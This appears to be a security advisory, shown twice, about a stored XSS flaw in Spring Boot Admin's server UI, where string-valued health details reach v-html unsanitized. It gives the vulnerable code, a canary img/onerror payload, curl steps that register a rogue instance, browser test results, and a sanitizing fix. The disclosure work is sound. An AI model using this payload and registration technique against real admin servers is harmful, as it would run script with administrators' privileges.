Summary
Spring Boot Admin's server UI module (spring-boot-admin-server-ui) renders HTML content returned by monitored instances' info and health endpoints. While object-valued health details are sanitized before rendering, string-valued health details are inserted into the page via v-html without sanitization. An attacker who can register a monitored instance can store arbitrary markup in a health detail string, which executes as script in an administrator's browser session when the administrator opens the instance's health-details page.
Severity
Medium — CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CWE
- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)
Affected Versions
| Package |
Affected Range |
Fixed Version |
de.codecentric:spring-boot-admin-server-ui |
>= 3.5.7, <= 4.1.2 |
Not yet released |
3.5.6 and earlier are not affected — the string-valued health detail path used v-text (no HTML rendering).
3.5.7 (commit ca831dcff, PR #4842) is the first release that switched the string path from v-text to v-html without sanitization.
- The issue is present in all releases up to and including
4.1.2.
Description
What happens
When a monitored instance returns a health detail whose value is a plain string, the server UI inserts that string into the page with Vue's v-html directive and no sanitization. A sibling component that renders object-valued health data does sanitize its output via sanitizeHtml. The result is that the string path and the object path behave differently, and only the string path is exploitable.
Vulnerable code
spring-boot-admin-server-ui/src/main/frontend/views/instances/details/health-details.vue:102:
<dd
v-else
role="definition"
:aria-label="detail.name"
class="wrap-break-word whitespace-pre-wrap col-span-4"
v-html="autolink(String(detail.value ?? ''))"
/>
There is no sanitizer on this path. The value flows through autolink and straight into v-html.
Contrast: the sibling path that does sanitize
spring-boot-admin-server-ui/src/main/frontend/components/sba-formatted-obj.vue:39-43:
const formatted = computed(() => {
const yaml = objToYaml(props.value);
const sanitized = sanitizeHtml(yaml);
return autolinkFn(sanitized);
});
This path calls sanitizeHtml before inserting the result. The health-details string path does not, even though it renders through the same autolink helper.
Why autolink does not cover the gap
spring-boot-admin-server-ui/src/main/frontend/utils/autolink.ts builds an Autolinker from a defaults object that does not set sanitizeHtml. Autolinker's own sanitizeHtml option therefore stays at its false default, and the helper just returns autolinker.link(s). The helper links URLs; it does not sanitize HTML.
export const defaults: AutolinkerConfig = {
urls: { schemeMatches: true, tldMatches: false, ipV4Matches: false },
email: false,
phone: false,
mention: false,
hashtag: false,
stripPrefix: false,
stripTrailingSlash: false,
newWindow: true,
className: '',
};
Payload
A health document like the following is sufficient. The canary string carries the markup; the objectCanary object is included to show the contrast with the sanitized object path.
{
"status": "UP",
"details": {
"canary": "<img src=\"/__nonexistent__.png\" onerror=\"document.documentElement.setAttribute('data-xss-executed','yes');window.__sba_xss=1\">",
"objectCanary": {
"nested": "<img src=\"/__nonexistent__.png\" onerror=\"document.documentElement.setAttribute('data-xss-executed','yes');window.__sba_xss=1\">",
"note": "object-valued control"
},
"secret": "ROGUE-HEALTH-DETAIL"
}
}
The onerror handler is used instead of inline <script> because the image request to a nonexistent path fails and fires the handler. It sets a window variable and a DOM attribute so execution is easy to observe.
Reproduction
All steps below were run and observed. Step 1 builds with JDK 17 and Maven 3.9.9 (the enforcer rejects older Maven).
1. Build the project
Observed: BUILD SUCCESS. The sample artifact produced is
spring-boot-admin-samples/spring-boot-admin-sample-servlet/target/spring-boot-admin-sample-servlet.jar.
2. Run the sample server
java -jar spring-boot-admin-samples/spring-boot-admin-sample-servlet/target/spring-boot-admin-sample-servlet.jar \
--spring.profiles.active=insecure \
--server.port=8080
Observed: profile insecure active, Tomcat listening on port 8080. The insecure profile models the library default of shipping no security configuration; with it, no credentials are needed to call the registration endpoint.
3. Start an attacker-controlled HTTP listener
Start a listener on 127.0.0.1:9911 that serves the payload document above from its /actuator/health endpoint.
4. Register the attacker instance
curl -i -X POST http://localhost:8080/instances \
-H 'Content-Type: application/json' \
-d '{"name":"rogue-xss","healthUrl":"http://127.0.0.1:9911/actuator/health","managementUrl":"http://127.0.0.1:9911/actuator"}'
Observed: HTTP/1.1 201 with body {"id":"c873ca26ab3d"}. The server then polls the listener (GET /actuator/health).
5. Confirm the payload is stored
curl -s http://localhost:8080/instances
Observed: the markup appears in the instance's statusInfo.details as a string value.
6. Dependency-level control
Reproducing the project's own autolink.ts behavior with autolinker@4.1.5 returns the payload unchanged, and an escaped "<" check reports false. Applying sanitize-html (as the object path does) strips the tag entirely. This isolates the difference to the missing sanitization call on the string path.
7. Browser proof
The details page at http://localhost:8080/instances/c873ca26ab3d/details was driven in headless Chrome over the DevTools Protocol. Observed results:
| Check |
Value |
xssWindowVar |
1 |
domMarker |
"yes" |
stringPathImgCount |
1 (real <img> inserted, onerror ran) |
objectPathImgCount |
0 (sanitizer stripped it) |
objectPathText |
"rogue" (sanitized to text) |
Impact
Any party that can send POST /instances to the admin server can store markup that runs as script in an administrator's browser session, in the admin origin. The attacker does not need an account when the admin server ships without a security configuration (the library default, modelled here by the sample's insecure profile). Once running, the script can drive the admin UI with the administrator's privileges, which is why the scope is Changed.
- Victim: an administrator who opens the affected instance's health-details page.
- Attacker: the party who registered the instance.
- Scope: Changed — script executes in the admin origin with admin privileges.
Mitigation
The string-valued health detail path must sanitize its output before passing it to v-html, the same way the object-valued path already does:
- v-html="autolink(String(detail.value ?? ''))"
+ v-html="autolink(sanitizeHtml(String(detail.value ?? '')))"
with the corresponding import:
import { sanitizeHtml } from '@/utils/sanitizeHtml';
References
Summary
Spring Boot Admin's server UI module (
spring-boot-admin-server-ui) renders HTML content returned by monitored instances'infoandhealthendpoints. While object-valued health details are sanitized before rendering, string-valued health details are inserted into the page viav-htmlwithout sanitization. An attacker who can register a monitored instance can store arbitrary markup in a health detail string, which executes as script in an administrator's browser session when the administrator opens the instance's health-details page.Severity
Medium — CVSS 3.1:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NCWE
Affected Versions
de.codecentric:spring-boot-admin-server-ui>= 3.5.7, <= 4.1.23.5.6and earlier are not affected — the string-valued health detail path usedv-text(no HTML rendering).3.5.7(commitca831dcff, PR #4842) is the first release that switched the string path fromv-texttov-htmlwithout sanitization.4.1.2.Description
What happens
When a monitored instance returns a health detail whose value is a plain string, the server UI inserts that string into the page with Vue's
v-htmldirective and no sanitization. A sibling component that renders object-valued health data does sanitize its output viasanitizeHtml. The result is that the string path and the object path behave differently, and only the string path is exploitable.Vulnerable code
spring-boot-admin-server-ui/src/main/frontend/views/instances/details/health-details.vue:102:There is no sanitizer on this path. The value flows through
autolinkand straight intov-html.Contrast: the sibling path that does sanitize
spring-boot-admin-server-ui/src/main/frontend/components/sba-formatted-obj.vue:39-43:This path calls
sanitizeHtmlbefore inserting the result. The health-details string path does not, even though it renders through the sameautolinkhelper.Why
autolinkdoes not cover the gapspring-boot-admin-server-ui/src/main/frontend/utils/autolink.tsbuilds anAutolinkerfrom adefaultsobject that does not setsanitizeHtml. Autolinker's ownsanitizeHtmloption therefore stays at itsfalsedefault, and the helper just returnsautolinker.link(s). The helper links URLs; it does not sanitize HTML.Payload
A health document like the following is sufficient. The
canarystring carries the markup; theobjectCanaryobject is included to show the contrast with the sanitized object path.{ "status": "UP", "details": { "canary": "<img src=\"/__nonexistent__.png\" onerror=\"document.documentElement.setAttribute('data-xss-executed','yes');window.__sba_xss=1\">", "objectCanary": { "nested": "<img src=\"/__nonexistent__.png\" onerror=\"document.documentElement.setAttribute('data-xss-executed','yes');window.__sba_xss=1\">", "note": "object-valued control" }, "secret": "ROGUE-HEALTH-DETAIL" } }The
onerrorhandler is used instead of inline<script>because the image request to a nonexistent path fails and fires the handler. It sets a window variable and a DOM attribute so execution is easy to observe.Reproduction
All steps below were run and observed. Step 1 builds with JDK 17 and Maven 3.9.9 (the enforcer rejects older Maven).
1. Build the project
Observed:
BUILD SUCCESS. The sample artifact produced isspring-boot-admin-samples/spring-boot-admin-sample-servlet/target/spring-boot-admin-sample-servlet.jar.2. Run the sample server
Observed: profile
insecureactive, Tomcat listening on port 8080. Theinsecureprofile models the library default of shipping no security configuration; with it, no credentials are needed to call the registration endpoint.3. Start an attacker-controlled HTTP listener
Start a listener on
127.0.0.1:9911that serves the payload document above from its/actuator/healthendpoint.4. Register the attacker instance
Observed:
HTTP/1.1 201with body{"id":"c873ca26ab3d"}. The server then polls the listener (GET /actuator/health).5. Confirm the payload is stored
Observed: the markup appears in the instance's
statusInfo.detailsas a string value.6. Dependency-level control
Reproducing the project's own
autolink.tsbehavior withautolinker@4.1.5returns the payload unchanged, and anescaped "<"check reportsfalse. Applyingsanitize-html(as the object path does) strips the tag entirely. This isolates the difference to the missing sanitization call on the string path.7. Browser proof
The details page at
http://localhost:8080/instances/c873ca26ab3d/detailswas driven in headless Chrome over the DevTools Protocol. Observed results:xssWindowVar1domMarker"yes"stringPathImgCount1(real<img>inserted,onerrorran)objectPathImgCount0(sanitizer stripped it)objectPathText"rogue"(sanitized to text)Impact
Any party that can send
POST /instancesto the admin server can store markup that runs as script in an administrator's browser session, in the admin origin. The attacker does not need an account when the admin server ships without a security configuration (the library default, modelled here by the sample'sinsecureprofile). Once running, the script can drive the admin UI with the administrator's privileges, which is why the scope is Changed.Mitigation
The string-valued health detail path must sanitize its output before passing it to
v-html, the same way the object-valued path already does:with the corresponding import:
References
v-htmlca831dcff(PR #4842)7a152238f(PR #4708)